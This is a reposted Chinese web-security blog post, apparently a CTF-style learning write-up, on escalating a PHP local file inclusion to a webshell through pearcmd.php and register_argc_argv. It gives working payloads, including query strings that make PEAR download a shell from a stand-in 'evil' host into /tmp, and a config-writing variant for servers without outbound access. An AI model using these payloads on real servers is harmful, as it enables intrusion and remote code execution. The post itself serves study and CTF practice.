[web安全] 利用pearcmd.php從LFI到getshell


有一段時間沒寫blog了,主要是事多,加上學的有些迷茫,所以內耗比較大。害,沉下心好好學吧。

漏洞利用背景:
允許文件包含,但session等各種文件包含都已經被過濾了。ctf題中可以關注register_argc_argv,也算是個提示

環境准備

  • 安裝php
apt-get install php7.4
  • 安裝pear
apt-get install php-pear

image
安裝成功

pear是什么?

PEAR就是為PHP擴展與應用庫(PHP Extension and Application Repository),它是一個PHP擴展及應用的一個代碼倉庫
類似於composer,用於代碼的下載與管理。

利用pear拉去遠程代碼

pear install -R /tmp http://evil:80/shell.php

image

register_argc_argv

php.ini默認為off,(當不存在下載的php中不存在php.ini時,默認為On)。

  • cli模式

不需要開啟php.ini,即可通過$_SERVER['argv']獲取命令行參數,和cmd一樣
image

  • web模式

在web頁模式下必須在php.ini開啟register_argc_argv配置項
設置register_argc_argv = On(默認是Off),重啟服務,$_SERVER[‘argv’]才會有效果
這時候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
cli模式下的argv在web模式下不適用

該變量是對queryString以+號進行切割,而不是&
image

image

register_argc_argv和pear的聯系

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

pear本質上就是個sh文件,上面是文件內容。
重點就是當執行了pear時,會將$_SERVER['argv']當作參數一起執行,從而自動拉取了指定的php文件

利用方法

當有存在有限制的文件包含漏洞時,利用該漏洞,先遠程拉取惡意文件到/tmp等權限要求低的目錄下,再利用文件包含

利用前提
1.開啟了register_argc_argv
2.要有pear管理包
3.無basedir的限制
4.允許包含php文件

允許出網的情況

payload

file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://evil/shell.php

注意:並不是所有的pear都在該路徑下,需要確保該php文件的位置。例如我的就在/usr/share下
image

但如果不允許出網的情況怎么辦?

image

可以通過設置config,再將配置保存到指定文件

exp

pear -c /tmp/.feng.php -d man_dir= -s

利用如上

只能說還有很多地方需要學。。。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM